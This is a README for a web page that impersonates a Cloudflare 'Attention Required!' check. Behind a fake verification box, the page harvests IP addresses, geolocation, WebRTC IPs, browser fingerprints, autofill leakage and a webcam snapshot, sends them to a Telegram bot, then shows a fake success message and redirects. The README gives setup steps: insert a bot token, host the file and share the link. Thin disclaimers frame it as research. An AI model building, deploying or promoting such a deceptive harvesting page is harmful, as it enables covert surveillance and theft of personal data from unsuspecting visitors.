This project mimics a Cloudflare-style "Attention Required!" page with a deceptive verification UI that gathers extensive browser fingerprinting and system data. It collects user information and transmits it to a Telegram bot, including geolocation, browser metadata, WebRTC/IP, audio fingerprinting, a webcam snapshot, and more.
⚠️ Disclaimer: This project is for educational and ethical research purposes only. Do not deploy this without proper consent. Unauthorized usage may violate privacy laws and platform policies.
- Mimics Cloudflare-style verification page.
- Collects:
- Public IP address
- Geolocation (latitude, longitude)
- Browser metadata
- WebGL fingerprint
- Canvas fingerprint
- Audio fingerprint
- LocalStorage/IndexedDB unique IDs
- Installed fonts
- WebRTC IPs
- Network info (downlink, RTT, etc.)
- Autofill leakage detection
- Webcam snapshot (if allowed)
- Battery status
- Plugins & mimeTypes
- Sends all collected data (and image snapshot) to a Telegram bot.
-
Clone or copy the HTML file.
-
Replace the Telegram credentials:
Open the
<script>
section in the HTML and update these two lines:const TELEGRAM_BOT_TOKEN = "770000000000:DFHBCGHMHGMHFGHSDKUJHSU8I"; // Replace with your bot token const TELEGRAM_CHAT_ID = "000000000"; // Replace with your Telegram chat ID
-
Host the HTML file on a web server (e.g. GitHub Pages, Vercel, Netlify, or your own server).
-
Open the hosted URL in a browser or share the link with users (only with permission).
- The user is shown a verification-style box.
- Upon clicking, the page:
- Collects fingerprint & environment info.
- Captures webcam snapshot (if permission is granted).
- Sends the data and image to the configured Telegram bot.
- Displays a fake "verification success" and redirects to google.com.
This tool should only be used:
- In controlled environments (e.g. red teaming, honeypots).
- With full user consent.
- For research or detection of browser fingerprinting.
Do NOT use it for malicious activity.
-
HTML5, CSS3
-
Vanilla JavaScript
-
Web APIs:
getUserMedia
getBattery
navigator.plugins
,navigator.mimeTypes
indexedDB
,localStorage
RTCPeerConnection
Canvas
,WebGL
,AudioContext
index.html # Main HTML file with embedded JavaScript and CSS
✅ Try it after hosting. The fake Cloudflare box will collect data and redirect.
This code includes surveillance and fingerprinting logic. You are fully responsible for how you use it. Unauthorized data collection is illegal in many jurisdictions.
Always inform and obtain consent from your users.
This project is released under the MIT License — feel free to modify and use responsibly.
---